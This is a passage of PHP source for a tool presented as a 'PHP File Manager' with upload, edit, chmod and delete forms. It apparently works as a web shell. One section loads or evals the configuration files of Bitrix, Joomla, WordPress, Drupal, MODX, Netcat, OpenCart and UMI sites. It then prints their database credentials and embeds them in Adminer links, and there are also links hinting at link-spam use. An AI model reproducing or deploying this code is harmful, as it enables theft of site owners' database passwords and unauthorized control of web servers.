                      <input type=\"button\" style=\"width:80\" onclick=\"selectANI(this)\" value=\"".et('SelInverse')."\">
                      <input type=\"button\" style=\"width:80\" onclick=\"test(4)\" value=\"".et('Delete')."\">
                      <input type=\"button\" style=\"width:80\" onclick=\"sel_dir(5)\" value=\"".et('Copy')."\">
                      <input type=\"button\" style=\"width:80\" onclick=\"sel_dir(6)\" value=\"".et('Move')."\">
                      ";
            if (!$is_windows) $out .= "
                      <input type=\"button\" style=\"width:100\" onclick=\"resolve_ids()\" value=\"".et('ResolveIDs')."\">";
            $out .= "
                      <input type=\"button\" style=\"width:100\" onclick=\"chmod_form()\" value=\"".et('Perms')."\">";
            $out .= "
                </nobr></td>
                </tr>";
            $out .= "
            </form>";
        
			$out .= "
            <script language=\"Javascript\" type=\"text/javascript\">
            <!--
                update_sel_status();
            //-->
            </script>";
        } 


else {
            $out .= "
            <tr bgcolor=\"#DDDDDD\"><td colspan=50><nobr>$uplink  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  <a target=\"_blank\" href=\"http://".$_SERVER['HTTP_HOST']."\">".$_SERVER['HTTP_HOST']."</a> <a target=\"_blank\" href=\"http://".$_SERVER['HTTP_HOST']."/assets/start.php\">/assets/start.php</a> <a target=\"_blank\"  href=\"".basename(__FILE__)."\">++".basename(__FILE__)."</a>  <a target=\"_blank\"  href=\"?p=bitrix\">bitrix</a> <a target=\"_blank\"  href=\"?p=sape\">sape</a>  <a target=\"_blank\" href=\"http://localhost/e.php?name=".$_SERVER['HTTP_HOST']."\">e</a></nobr></tr>";
        }



    } else $out .= "<tr><td><font color=red>".et('IOError').".<br>$fm_current_dir</font>";
    $out .= "</table>";
    echo $out;







if (file_exists($_SERVER["DOCUMENT_ROOT"]."/bitrix/php_interface/dbconn.php")) require($_SERVER["DOCUMENT_ROOT"]."/bitrix/php_interface/dbconn.php");
if (file_exists($_SERVER["DOCUMENT_ROOT"]."/configuration.php")) require($_SERVER["DOCUMENT_ROOT"]."/configuration.php");
if (file_exists($_SERVER["DOCUMENT_ROOT"]."/config.php")) require($_SERVER["DOCUMENT_ROOT"]."/config.php");
if (file_exists($_SERVER["DOCUMENT_ROOT"]."/manager/includes/config.inc.php")) require($_SERVER["DOCUMENT_ROOT"]."/manager/includes/config.inc.php");

if (file_exists($_SERVER["DOCUMENT_ROOT"]."/core/config/config.inc.php")) require($_SERVER["DOCUMENT_ROOT"]."/core/config/config.inc.php");

if (file_exists($_SERVER["DOCUMENT_ROOT"]."/vars.inc.php")) require($_SERVER["DOCUMENT_ROOT"]."/vars.inc.php");
if (file_exists($_SERVER["DOCUMENT_ROOT"]."/netcat/vars.inc.php")) require($_SERVER["DOCUMENT_ROOT"]."/netcat/vars.inc.php");
if (file_exists($_SERVER["DOCUMENT_ROOT"]."/system/vars.inc.php")) require($_SERVER["DOCUMENT_ROOT"]."/system/vars.inc.php");
if (file_exists($_SERVER["DOCUMENT_ROOT"]."/sites/default/settings.php")) require($_SERVER["DOCUMENT_ROOT"]."/sites/default/settings.php");


if (file_exists($_SERVER["DOCUMENT_ROOT"]."/config.ini")) {

$config = parse_ini_file($_SERVER["DOCUMENT_ROOT"]."/config.ini", true);

print_r($config['connections']);

if ($config['connections']['core.host'] <> '') echo '<a target="_blank" href="/assets/adminer.php?server='.$config['connections']['core.host'].'&pass='.$config['connections']['core.password'].'&username='.$config['connections']['core.login'].'&db='.$config['connections']['core.dbname'].'">umi</a><br>'; 


}





if (file_exists($_SERVER["DOCUMENT_ROOT"]."/wp-config.php")) {
$file_data = '';
$fd = fopen($_SERVER["DOCUMENT_ROOT"]."/wp-config.php", "r");

while  (!feof($fd))   {
$file_data .= fgets($fd,  5000);
}
fclose ($fd); 
$file_data = substr($file_data, 5);
$n = strripos($file_data, 'if ( !defined');
$file_data = substr($file_data, 0, $n);
eval($file_data);

}


if (file_exists($_SERVER["DOCUMENT_ROOT"]."/configuration.php")) $config = new JConfig;


if ($DBHost <> '') echo '<a target="_blank" href="/assets/adminer.php?server='.$DBHost.'&pass='.$DBPassword.'&username='.$DBLogin.'&db='.$DBName.'">bitrix</a><br>'; 
if ($config->host <> '') echo '<a target="_blank" href="/assets/adminer.php?server='.$config->host.'&pass='.$config->password.'&username='.$config->user.'&db='.$config->db.'">joomla</a><br>';
if ($database_server <> '') echo '<a target="_blank" href="/assets/adminer.php?server='.$database_server.'&pass='.$database_password.'&username='.$database_user.'&db='.$dbase.'">modx</a><br>';
if ($MYSQL_HOST <> '') echo '<a target="_blank" href="/assets/adminer.php?server='.$MYSQL_HOST.'&pass='.$MYSQL_PASSWORD.'&username='.$MYSQL_USER.'&db='.$MYSQL_DB_NAME.'">netcat</a>';
if (file_exists($_SERVER["DOCUMENT_ROOT"]."/wp-config.php"))  echo '<a target="_blank" href="/assets/adminer.php?server='.DB_HOST.'&pass='.DB_PASSWORD.'&username='.DB_USER.'&db='.DB_NAME.'">WordPress</a>';
if (file_exists($_SERVER["DOCUMENT_ROOT"]."/sites/default/settings.php")) echo '<a target="_blank" href="/assets/adminer.php?server='.$databases['default']['default']['host'].'&pass='.$databases['default']['default']['password'].'&username='.$databases['default']['default']['username'].'&db='.$databases['default']['default']['database'].'">drupal</a>';

if (file_exists($_SERVER["DOCUMENT_ROOT"]."/sites/default/settings.php")) print_r($databases['default']['default']);


if (file_exists($_SERVER["DOCUMENT_ROOT"]."/config.php"))  echo '<a target="_blank" href="/assets/adminer.php?server='.DB_HOSTNAME.'&pass='.DB_PASSWORD.'&username='.DB_USERNAME.'&db='.DB_DATABASE.'">opencart</a>';









}
function upload_form(){
    global $_FILES,$fm_current_dir,$dir_dest,$quota_mb,$fm_path_info;
    html_header();
    echo "<body marginwidth=\"0\" marginheight=\"0\">";
    if (count($_FILES)==0){
        echo "
        <table height=\"100%\" border=0 cellspacing=0 cellpadding=2 style=\"padding:5px;\">
        <form name=\"upload_form\" action=\"".$fm_path_info["basename"]."\" method=\"post\" ENCTYPE=\"multipart/form-data\">
        <input type=hidden name=dir_dest value=\"$fm_current_dir\">
        <input type=hidden name=action value=10>
        <tr><td colspan=2 align=left><nobr><b>".et('Destination').": $fm_current_dir</b></nobr></td></tr>
        <tr><td width=1 align=right><b>".et('File_s').":<td><nobr><input type=\"file\" id=\"upfiles\" name=\"upfiles[]\" multiple onchange=\"upfiles_update(this);\"></nobr></td></tr>
        <tr><td>&nbsp;<td><input type=button value=\"".et('Send')."\" onclick=\"upfiles_send()\"></nobr></td></tr>
        <tr><td colspan=2 align=left><div id=\"upfileslist\"></div></td></tr>
        </form>
        </table>
        <script language=\"Javascript\" type=\"text/javascript\">
        <!--
            foi = false;
            function upfiles_update(fileinput){
                var files = document.getElementById(\"upfiles\").files;
                var text = '';
                if (files.length > 1) {
                    for (var i = 0; i < files.length; ++i) {
                        text += '<nobr>' + (i+1) + ' - ' + files[i].name + '</nobr><br>';
                    }
                }
                document.getElementById(\"upfileslist\").innerHTML = text;
            }
            function upfiles_send(){
                if(true){
                    if (foi) alert('".et('SendingForm')."...');
                    else {
                        foi = true;
                        document.upload_form.submit();
                    }
                } else alert('".et('NoFileSel').".');
            }
        //-->
        </script>";
    } else {
        $out = "<tr><th colspan=2>".et('UploadEnd')."</th></tr>
                <tr><td colspan=2 align=left><nobr><b>".et('Destination').": $fm_current_dir</b></nobr></td></tr>";
        $files = array();
        if (is_array($_FILES['upfiles'])){
            // Check and re-arrange multi-upload array()
            if (is_array($_FILES['upfiles']['name'])){
                for($i=0;$i<count($_FILES['upfiles']['name']);$i++){
                    if ($_FILES['upfiles']['error'][$i] === 0) $files[] = array(
                        'name' => $_FILES['upfiles']['name'][$i],
                        'tmp_name' => $_FILES['upfiles']['tmp_name'][$i],
                        'size' => $_FILES['upfiles']['size'][$i],
                        'type' => $_FILES['upfiles']['type'][$i],
                        'error' => $_FILES['upfiles']['error'][$i]
                    );
                }
            } else {
                foreach ($_FILES['upfiles'] as $file){
                    if ($file['error'] === 0) $files[] = $file;
                }
            }
        }
        $i=1;
        foreach ($files as $file) {
            $filename = $file["name"];
            $temp_file = $file["tmp_name"];
            if (strlen($filename)) {
                $resul = save_upload($temp_file,$filename,$dir_dest);
                switch($resul){
                    case 1:
                        $out .= "<tr><td align=right>".$i." - <font color=green>".et('FileSent')."</font>:</td><td>".$filename."</td></tr>\n";
                        break;
                    case 2:
                        $out .= "<tr><td align=right>".$i." - <font color=red>".et('IOError')."</font>:</td><td>".$filename."</td></tr>\n";
                        break;
                    case 3:
                        $out .= "<tr><td align=right>".$i." - <font color=red>".et('SpaceLimReached')." ($quota_mb Mb)</font>:</td><td>".$filename."</td></tr>\n";
                        break;
                    case 4:
                        $out .= "<tr><td align=right>".$i." - <font color=red>".et('InvExt')."</font>:</td><td>".$filename."</td></tr>\n";
                        break;
                    case 5:
                        $out .= "<tr><td align=right>".$i." - <font color=red>".et('FileNoOverw')."</font>:</td><td>".$filename."</td></tr>\n";
                        break;
                    case 6:
                        $out .= "<tr><td align=right>".$i." - <font color=green>".et('FileOverw')."</font>:</td><td>".$filename."</td></tr>\n";
                        break;
                    default:
                        $out .= "<tr><td align=right>".$i." - <font color=green>".et('FileIgnored')."</font>:</td><td>".$filename."</td></tr>\n";
                }
                $i++;
            }
        }
        echo "<table height=\"100%\" border=0 cellspacing=0 cellpadding=2 style=\"padding:5px;\">".$out."</table>";
    }
    
    
    
    
    
    
    
    
    
    
    echo "</body>\n</html>";
}
function chmod_form(){
    html_header("
    <script language=\"Javascript\" type=\"text/javascript\">
    <!--
    function octalchange() {
        var val = document.chmod_form.t_total.value;
        var stickybin = parseInt(val.charAt(0)).toString(2);
        var ownerbin = parseInt(val.charAt(1)).toString(2);
        while (ownerbin.length<3) { ownerbin=\"0\"+ownerbin; };
        var groupbin = parseInt(val.charAt(2)).toString(2);
        while (groupbin.length<3) { groupbin=\"0\"+groupbin; };
        var otherbin = parseInt(val.charAt(3)).toString(2);
        while (otherbin.length<3) { otherbin=\"0\"+otherbin; };
        document.chmod_form.sticky.checked = parseInt(stickybin.charAt(0));
        document.chmod_form.owner4.checked = parseInt(ownerbin.charAt(0));
        document.chmod_form.owner2.checked = parseInt(ownerbin.charAt(1));
        document.chmod_form.owner1.checked = parseInt(ownerbin.charAt(2));
        document.chmod_form.group4.checked = parseInt(groupbin.charAt(0));
        document.chmod_form.group2.checked = parseInt(groupbin.charAt(1));
        document.chmod_form.group1.checked = parseInt(groupbin.charAt(2));
        document.chmod_form.other4.checked = parseInt(otherbin.charAt(0));
        document.chmod_form.other2.checked = parseInt(otherbin.charAt(1));
        document.chmod_form.other1.checked = parseInt(otherbin.charAt(2));
        calc_chmod(1);
    };
    function calc_chmod(nototals) {
      var users = new Array(\"owner\", \"group\", \"other\");
      var totals = new Array(\"\",\"\",\"\");
      var syms = new Array(\"\",\"\",\"\");

        for (var i=0; i<users.length; i++)
        {
            var user=users[i];
            var field4 = user + \"4\";
            var field2 = user + \"2\";
            var field1 = user + \"1\";
            var symbolic = \"sym_\" + user;
            var number = 0;
            var sym_string = \"\";
            var sticky = \"0\";
            var sticky_sym = \" \";
            if (document.chmod_form.sticky.checked){
                sticky = \"1\";
                sticky_sym = \"t\";
            }
            if (document.chmod_form[field4].checked == true) { number += 4; }
            if (document.chmod_form[field2].checked == true) { number += 2; }
            if (document.chmod_form[field1].checked == true) { number += 1; }

            if (document.chmod_form[field4].checked == true) {
                sym_string += \"r\";
            } else {
                sym_string += \"-\";
            }
            if (document.chmod_form[field2].checked == true) {
                sym_string += \"w\";
            } else {
                sym_string += \"-\";
            }
            if (document.chmod_form[field1].checked == true) {
                sym_string += \"x\";
            } else {
                sym_string += \"-\";
            }

            totals[i] = totals[i]+number;
            syms[i] =  syms[i]+sym_string;

      };
        if (!nototals) document.chmod_form.t_total.value = sticky + totals[0] + totals[1] + totals[2];
        document.chmod_form.sym_total.value = syms[0] + syms[1] + syms[2] + sticky_sym;
    }
    function sticky_change() {
        document.chmod_form.sticky.checked = !(document.chmod_form.sticky.checked);
    }
    function apply_chmod() {
        if (confirm('".et('AlterPermTo')." \\' '+document.chmod_form.t_total.value+' \\' ?\\n')){
            window.top.frame3.set_chmod_arg(document.chmod_form.t_total.value);
            window.top.frame3.closeModalWindow();
        }
    }
    window.onload=octalchange
    //-->
    </script>");
    echo "<body marginwidth=\"0\" marginheight=\"0\">
    <form name=\"chmod_form\">
    <table border=\"0\" cellspacing=\"0\" cellpadding=\"4\" align=center style=\"padding:5px;\">
    <tr align=\"left\" valign=\"middle\">
    <td><input type=\"text\" name=\"t_total\" value=\"0755\" size=\"4\" onKeyUp=\"octalchange()\"> </td>
    <td><input type=\"text\" name=\"sym_total\" value=\"\" size=\"12\" readonly=\"1\"></td>
    </tr>
    </table>
    <table cellpadding=\"2\" cellspacing=\"0\" border=\"0\" align=center>
    <tr bgcolor=\"#333333\">
    <td width=\"60\" align=\"left\"> </td>
    <td width=\"55\" align=\"center\" style=\"color:#FFFFFF\"><b>".et('Owner')."
    </b></td>
    <td width=\"55\" align=\"center\" style=\"color:#FFFFFF\"><b>".et('Group')."
    </b></td>
    <td width=\"55\" align=\"center\" style=\"color:#FFFFFF\"><b>".et('Other')."
    <b></td>
    </tr>
    <tr bgcolor=\"#DDDDDD\">
    <td width=\"60\" align=\"left\" nowrap bgcolor=\"#FFFFFF\">".et('Read')."</td>
    <td width=\"55\" align=\"center\" bgcolor=\"#EEEEEE\">
    <input type=\"checkbox\" name=\"owner4\" value=\"4\" onclick=\"calc_chmod()\">
    </td>
    <td width=\"55\" align=\"center\" bgcolor=\"#FFFFFF\"><input type=\"checkbox\" name=\"group4\" value=\"4\" onclick=\"calc_chmod()\">
    </td>
    <td width=\"55\" align=\"center\" bgcolor=\"#EEEEEE\">
    <input type=\"checkbox\" name=\"other4\" value=\"4\" onclick=\"calc_chmod()\">
    </td>
    </tr>
    <tr bgcolor=\"#DDDDDD\">
    <td width=\"60\" align=\"left\" nowrap bgcolor=\"#FFFFFF\">".et('Write')."</td>
    <td width=\"55\" align=\"center\" bgcolor=\"#EEEEEE\">
    <input type=\"checkbox\" name=\"owner2\" value=\"2\" onclick=\"calc_chmod()\"></td>
    <td width=\"55\" align=\"center\" bgcolor=\"#FFFFFF\"><input type=\"checkbox\" name=\"group2\" value=\"2\" onclick=\"calc_chmod()\">
    </td>
    <td width=\"55\" align=\"center\" bgcolor=\"#EEEEEE\">
    <input type=\"checkbox\" name=\"other2\" value=\"2\" onclick=\"calc_chmod()\">
    </td>
    </tr>
    <tr bgcolor=\"#DDDDDD\">
    <td width=\"60\" align=\"left\" nowrap bgcolor=\"#FFFFFF\">".et('Exec')."</td>
    <td width=\"55\" align=\"center\" bgcolor=\"#EEEEEE\">
    <input type=\"checkbox\" name=\"owner1\" value=\"1\" onclick=\"calc_chmod()\">
    </td>
    <td width=\"55\" align=\"center\" bgcolor=\"#FFFFFF\"><input type=\"checkbox\" name=\"group1\" value=\"1\" onclick=\"calc_chmod()\">
    </td>
    <td width=\"55\" align=\"center\" bgcolor=\"#EEEEEE\">
    <input type=\"checkbox\" name=\"other1\" value=\"1\" onclick=\"calc_chmod()\">
    </td>
    </tr>
    </table>
    <table border=\"0\" cellspacing=\"0\" cellpadding=\"4\" align=center>
    <tr><td colspan=2><input type=checkbox name=sticky value=\"1\" onclick=\"calc_chmod()\"> <a href=\"JavaScript:sticky_change();\">".et('StickyBit')."</a><td colspan=2 align=right><input type=button value=\"".et('Apply')."\" onClick=\"apply_chmod()\"></tr>
    </table>
    </form>
    </body>\n</html>";
}
function get_mime_type($ext = ''){
    $mimes = array(
      'hqx'   =>  'application/mac-binhex40',
      'cpt'   =>  'application/mac-compactpro',
      'doc'   =>  'application/msword',
      'bin'   =>  'application/macbinary',
      'dms'   =>  'application/octet-stream',
      'lha'   =>  'application/octet-stream',
      'lzh'   =>  'application/octet-stream',
      'exe'   =>  'application/octet-stream',
      'class' =>  'application/octet-stream',
      'psd'   =>  'application/octet-stream',
      'so'    =>  'application/octet-stream',
      'sea'   =>  'application/octet-stream',
      'dll'   =>  'application/octet-stream',
      'oda'   =>  'application/oda',
      'pdf'   =>  'application/pdf',
      'ai'    =>  'application/postscript',
      'eps'   =>  'application/postscript',
      'ps'    =>  'application/postscript',
      'smi'   =>  'application/smil',
      'smil'  =>  'application/smil',
      'mif'   =>  'application/vnd.mif',
      'xls'   =>  'application/vnd.ms-excel',
      'ppt'   =>  'application/vnd.ms-powerpoint',
      'pptx'  =>  'application/vnd.ms-powerpoint',
      'wbxml' =>  'application/vnd.wap.wbxml',
      'wmlc'  =>  'application/vnd.wap.wmlc',
      'dcr'   =>  'application/x-director',
      'dir'   =>  'application/x-director',
      'dxr'   =>  'application/x-director',
      'dvi'   =>  'application/x-dvi',
      'gtar'  =>  'application/x-gtar',
      'php'   =>  'application/x-httpd-php',
      'php4'  =>  'application/x-httpd-php',
      'php3'  =>  'application/x-httpd-php',
      'phtml' =>  'application/x-httpd-php',
      'phps'  =>  'application/x-httpd-php-source',
      'js'    =>  'application/x-javascript',
      'swf'   =>  'application/x-shockwave-flash',
      'sit'   =>  'application/x-stuffit',
      'tar'   =>  'application/x-tar',
      'tgz'   =>  'application/x-tar',
      'xhtml' =>  'application/xhtml+xml',
      'xht'   =>  'application/xhtml+xml',
      'zip'   =>  'application/zip',
      'mid'   =>  'audio/midi',
      'midi'  =>  'audio/midi',
      'mpga'  =>  'audio/mpeg',
      'mp2'   =>  'audio/mpeg',
      'mp3'   =>  'audio/mpeg',
      'aif'   =>  'audio/x-aiff',
      'aiff'  =>  'audio/x-aiff',
      'aifc'  =>  'audio/x-aiff',
      'ram'   =>  'audio/x-pn-realaudio',
      'rm'    =>  'audio/x-pn-realaudio',
      'rpm'   =>  'audio/x-pn-realaudio-plugin',
      'ra'    =>  'audio/x-realaudio',
      'rv'    =>  'video/vnd.rn-realvideo',
      'wav'   =>  'audio/x-wav',
      'bmp'   =>  'image/bmp',
      'gif'   =>  'image/gif',
      'jpeg'  =>  'image/jpeg',
      'jpg'   =>  'image/jpeg',
      'jpe'   =>  'image/jpeg',
      'png'   =>  'image/png',
      'tiff'  =>  'image/tiff',
      'tif'   =>  'image/tiff',
      'css'   =>  'text/css',
      'html'  =>  'text/html',
      'htm'   =>  'text/html',
      'shtml' =>  'text/html',
      'txt'   =>  'text/plain',
      'text'  =>  'text/plain',
      'log'   =>  'text/plain',
      'rtx'   =>  'text/richtext',
      'rtf'   =>  'text/rtf',
      'xml'   =>  'text/xml',
      'xsl'   =>  'text/xml',
      'mpeg'  =>  'video/mpeg',
      'mpg'   =>  'video/mpeg',
      'mpe'   =>  'video/mpeg',
      'qt'    =>  'video/quicktime',
      'mov'   =>  'video/quicktime',
      'avi'   =>  'video/x-msvideo',
      'movie' =>  'video/x-sgi-movie',
      'doc'   =>  'application/msword',
      'docx'  =>  'application/msword',
      'word'  =>  'application/msword',
      'xl'    =>  'application/excel',
      'xls'   =>  'application/excel',
      'xlsx'  =>  'application/excel',
      'eml'   =>  'message/rfc822'
    );
    return (!isset($mimes[lowercase($ext)])) ? 'application/octet-stream' : $mimes[lowercase($ext)];
}
function view_form(){
    global $doc_root,$fm_path_info,$url_info,$fm_current_dir,$is_windows,$filename,$passthru;
    if (intval($passthru)){
        $file = $fm_current_dir.$filename;
        if(file_exists($file)){
            $is_denied = false;
            foreach($download_ext_filter as $key=>$ext){
                if (eregi($ext,$filename)){
                    $is_denied = true;
                    break;
                }
            }
            if (!$is_denied){
                if ($fh = fopen("$file", "rb")){
                    fclose($fh);
                    $ext = pathinfo($file, PATHINFO_EXTENSION);
                    $ctype = get_mime_type($ext);
                    if ($ctype == "application/octet-stream") $ctype = "text/plain";
                    header("Pragma: public");
                    header("Expires: 0");
                    header("Connection: close");
                    header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
                    header("Cache-Control: public");
                    header("Content-Description: File Transfer");
                    header("Content-Type: ".$ctype);
                    header("Content-Disposition: inline; filename=\"".pathinfo($file, PATHINFO_BASENAME)."\";");
                    header("Content-Transfer-Encoding: binary");
                    header("Content-Length: ".filesize($file));
                    @readfile($file);
                    exit();
                } else alert(et('ReadDenied').": ".$file);
            } else alert(et('ReadDenied').": ".$file);
        } else alert(et('FileNotFound').": ".$file);
        echo "
        <script language=\"Javascript\" type=\"text/javascript\">
        <!--
            window.close();
        //-->
        </script>";
    } else {
        html_header();
        echo "<body marginwidth=\"0\" marginheight=\"0\">";
        $is_reachable_thru_webserver = (stristr($fm_current_dir,$doc_root)!==false);
        if ($is_reachable_thru_webserver){
            $url = $url_info["scheme"]."://".$url_info["host"];
            if (strlen($url_info["port"])) $url .= ":".$url_info["port"];
            // Malditas variaveis de sistema!! No windows doc_root ?? sempre em lowercase... cad?? o str_ireplace() ??
            $url .= str_replace($doc_root,"","/".$fm_current_dir).$filename;
        } else {
            $url = addslashes($fm_path_info["basename"])."?action=4&fm_current_dir=".addslashes($fm_current_dir)."&filename=".addslashes($filename)."&passthru=1";
        }
        echo "
        <script language=\"Javascript\" type=\"text/javascript\">
        <!--
            document.location.href='$url';
        //-->
        </script>
        </body>\n</html>";
    }
}
function edit_file_form(){
    global $fm_current_dir,$filename,$file_data,$save_file,$fm_path_info;
    $file = $fm_current_dir.$filename;
    if ($save_file){
        $fh=fopen($file,"w");
        fputs($fh,$file_data,strlen($file_data));
        fclose($fh);
    }
    $fh=fopen($file,"r");
    $file_data=fread($fh, filesize($file));
    fclose($fh);
    html_header();
    echo "<body marginwidth=\"0\" marginheight=\"0\">
    <table border=0 cellspacing=0 cellpadding=5 align=center style=\"padding:5px;\">
    <form name=\"edit_form\" action=\"".$fm_path_info["basename"]."\" method=\"post\">
    <input type=hidden name=action value=\"7\">
    <input type=hidden name=save_file value=\"1\">
    <input type=hidden name=fm_current_dir value=\"$fm_current_dir\">
    <input type=hidden name=filename value=\"$filename\">
    <tr><th colspan=2>".$file."</th></tr>
    <tr><td colspan=2><textarea name=file_data style='width:1000px;height:680px;border: 1px solid #ccc;'>".($file_data)."</textarea></td></tr>
    <tr><td><input type=button value=\"".et('Refresh')."\" onclick=\"document.edit_form_refresh.submit()\"></td><td align=right><input type=button value=\"".et('Save File')."\" onclick=\"go_save()\"></td></tr>
    </form>
    <form name=\"edit_form_refresh\" action=\"".$fm_path_info["basename"]."\" method=\"post\">
    <input type=hidden name=action value=\"7\">
    <input type=hidden name=fm_current_dir value=\"$fm_current_dir\">
    <input type=hidden name=filename value=\"$filename\">
    </form>
    </table>
    <script language=\"Javascript\" type=\"text/javascript\">
    <!--
        function go_save(){";
    if (is_writable($file)) {
        echo "
        document.edit_form.submit();";
    } else {
        echo "
        if(confirm('".et('ConfTrySave')." ?')) document.edit_form.submit();";
    }
    echo "
        }
        window.focus();
    //-->
    </script>
    </body>\n</html>";
}







function server_info_form(){





}



function frame3(){
    global $is_windows,$cmd_arg,$chmod_arg,$zip_dir,$fm_current_root,$cookie_cache_time;
    global $dir_dest,$fm_current_dir,$dir_before;
    global $selected_file_list,$selected_dir_list,$old_name,$new_name;
    global $action,$or_by,$order_dir_list_by;
 
    
    if (!isset($order_dir_list_by)){
        $order_dir_list_by = "1A";
        setcookie("order_dir_list_by", $order_dir_list_by , time()+$cookie_cache_time , "/");
    } elseif (isset($or_by)){
        $order_dir_list_by = $or_by;
        setcookie("order_dir_list_by", $or_by , time()+$cookie_cache_time , "/");
    }
    
    html_header();
    echo "<body>\n";
    if ($action){
        switch ($action){
            case 1: // create dir
            if (strlen($cmd_arg)){
                $cmd_arg = $fm_current_dir.$cmd_arg;
                if (!file_exists($cmd_arg)){
                    @mkdir($cmd_arg,0755);
                    @chmod($cmd_arg,0755);
                    reloadframe("parent",2,"&ec_dir=".$cmd_arg);
                } else alert(et('FileDirExists').".");
            }
            break;
            case 2: // create arq
            if (strlen($cmd_arg)){
                $cmd_arg = $fm_current_dir.$cmd_arg;
                if (!file_exists($cmd_arg)){
                    if ($fh = @fopen($cmd_arg, "w")){
                        @fclose($fh);
                    }
                    @chmod($cmd_arg,0644);
                } else alert(et('FileDirExists').".");
            }
            break;
            case 3: // rename arq ou dir
            if ((strlen($old_name))&&(strlen($new_name))){
                rename($fm_current_dir.$old_name,$fm_current_dir.$new_name);
                if (is_dir($fm_current_dir.$new_name)) reloadframe("parent",2);
            }
            break;
            case 4: // delete sel
            if(strstr($fm_current_dir,$fm_current_root)){
                if (strlen($selected_file_list)){
                    $selected_file_list = explode("<|*|>",$selected_file_list);
                    if (count($selected_file_list)) {
                        for($x=0;$x<count($selected_file_list);$x++) {
                            $selected_file_list[$x] = trim($selected_file_list[$x]);
                            if (strlen($selected_file_list[$x])) total_delete($fm_current_dir.$selected_file_list[$x],$dir_dest.$selected_file_list[$x]);
                        }
                    }
                }
                if (strlen($selected_dir_list)){
                    $selected_dir_list = explode("<|*|>",$selected_dir_list);
                    if (count($selected_dir_list)) {
                        for($x=0;$x<count($selected_dir_list);$x++) {
                            $selected_dir_list[$x] = trim($selected_dir_list[$x]);
                            if (strlen($selected_dir_list[$x])) total_delete($fm_current_dir.$selected_dir_list[$x],$dir_dest.$selected_dir_list[$x]);
                        }
                        reloadframe("parent",2);
                    }
                }
            }
            break;
            case 5: // copy sel
           
            break;
            case 6: // move sel
            
            break;
            
            
            case 8: // delete arq/dir
            if (strlen($cmd_arg)){
                if (file_exists($fm_current_dir.$cmd_arg)) total_delete($fm_current_dir.$cmd_arg);
                if (is_dir($fm_current_dir.$cmd_arg)) reloadframe("parent",2);
            }
            break;
            case 9: // CHMOD
            if((strlen($chmod_arg) == 4)&&(strlen($fm_current_dir))){
                if ($chmod_arg[0]=="1") $chmod_arg = "0".$chmod_arg;
                else $chmod_arg = "0".substr($chmod_arg,strlen($chmod_arg)-3);
                $new_mod = octdec($chmod_arg);
                if (strlen($selected_file_list)){
                    $selected_file_list = explode("<|*|>",$selected_file_list);
                    if (count($selected_file_list)) {
                        for($x=0;$x<count($selected_file_list);$x++) {
                            $selected_file_list[$x] = trim($selected_file_list[$x]);
                            if (strlen($selected_file_list[$x])) @chmod($fm_current_dir.$selected_file_list[$x],$new_mod);
                        }
                    }
                }
                if (strlen($selected_dir_list)){
                    $selected_dir_list = explode("<|*|>",$selected_dir_list);
                    if (count($selected_dir_list)) {
                        for($x=0;$x<count($selected_dir_list);$x++) {
                            $selected_dir_list[$x] = trim($selected_dir_list[$x]);
                            if (strlen($selected_dir_list[$x])) @chmod($fm_current_dir.$selected_dir_list[$x],$new_mod);
                        }
                    }
                }
            }
            break;
        }
        if ($action != 10) dir_list_form();
    } else dir_list_form();
   
   
   
   
   
    echo "</body>\n</html>";
}
function frameset(){
    global $fm_path_info,$leftFrameWidth;
    if (!isset($leftFrameWidth)) $leftFrameWidth = 30;
    html_header();

    echo "
    <frameset cols=\"".$leftFrameWidth.",*\" framespacing=\"0\">
        <frameset rows=\"0,*\" framespacing=\"0\" frameborder=\"0\">
            <frame src=\"".$fm_path_info["basename"]."?frame=1\" name=frame1 border=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\">
            <frame src=\"".$fm_path_info["basename"]."?frame=2\" name=frame2 border=\"0\" marginwidth=\"0\" marginheight=\"0\">
        </frameset>
        <frame src=\"".$fm_path_info["basename"]."?frame=3\" name=frame3 border=\"0\" marginwidth=\"0\" marginheight=\"0\">
    </frameset>
    </html>";
}





// +--------------------------------------------------
// | Internationalization
// +--------------------------------------------------
function et($tag){
    global $lang;

    // English - by Fabricio Seger Kolling
   
   
    $et['en']['CreateArq'] = 'Create File';
    $et['en']['UploadEnd'] = 'Upload Finished';
$et['en']['Perms'] = 'Permissions';
$et['en']['Exec'] = 'Execute';


    
    $et['en']['File_s'] = 'file(s)';
    $et['en']['Dir_s'] = 'directory(s)';


    $et['en']['JSError'] = 'JavaScript Error';
    $et['en']['NoSel'] = 'There are no selected itens';
    $et['en']['TypeDir'] = 'Enter the directory name';
    $et['en']['TypeArq'] = 'Enter the file name';
  
  
    $et['en']['RemSel'] = 'DELETE selected itens';
    $et['en']['NoDestDir'] = 'There is no selected destination directory';
    $et['en']['DestEqOrig'] = 'Origin and destination directories are equal';
    $et['en']['InvalidDest'] = 'Destination directory is invalid';
    $et['en']['NoNewPerm'] = 'New permission not set';
    $et['en']['CopyTo'] = 'COPY to';
    $et['en']['MoveTo'] = 'MOVE to';
    $et['en']['AlterPermTo'] = 'CHANGE PERMISSIONS to';
    $et['en']['ConfExec'] = 'Confirm EXECUTE';
    $et['en']['ConfRem'] = 'Confirm DELETE';
    $et['en']['EmptyDir'] = 'Empty directory';
    $et['en']['IOError'] = 'I/O Error';
    $et['en']['FileMan'] = 'PHP File Manager';
  
    $et['en']['ReadDenied'] = 'Read Access Denied';
    $et['en']['FileNotFound'] = 'File not found';
   
    
    
    $et['en']['ConfTrySave'] = 'File without write permisson.\\nTry to save anyway';
   
  
    $et['en']['FileDirExists'] = 'File or directory already exists';
    $et['en']['NoPhpinfo'] = 'Function phpinfo disabled';
 
    $et['en']['FileSent'] = 'File sent';
    $et['en']['SpaceLimReached'] = 'Space limit reached';
    $et['en']['InvExt'] = 'Invalid extension';
    $et['en']['FileNoOverw'] = 'File could not be overwritten';
    $et['en']['FileOverw'] = 'File overwritten';
    $et['en']['FileIgnored'] = 'File ignored';

 
 

    $et['en']['Website'] = 'Website';
    $et['en']['SendingForm'] = 'Sending files, please wait';
    $et['en']['NoFileSel'] = 'No file selected';
    $et['en']['SelAll'] = 'All';
    $et['en']['SelNone'] = 'None';
    $et['en']['SelInverse'] = 'Inverse';
    $et['en']['Selected_s'] = 'selected';
 
    $et['en']['Close'] = 'Close';
 
   
  



   
    if (isset($et['en'][$tag])) return ($et['en'][$tag]);
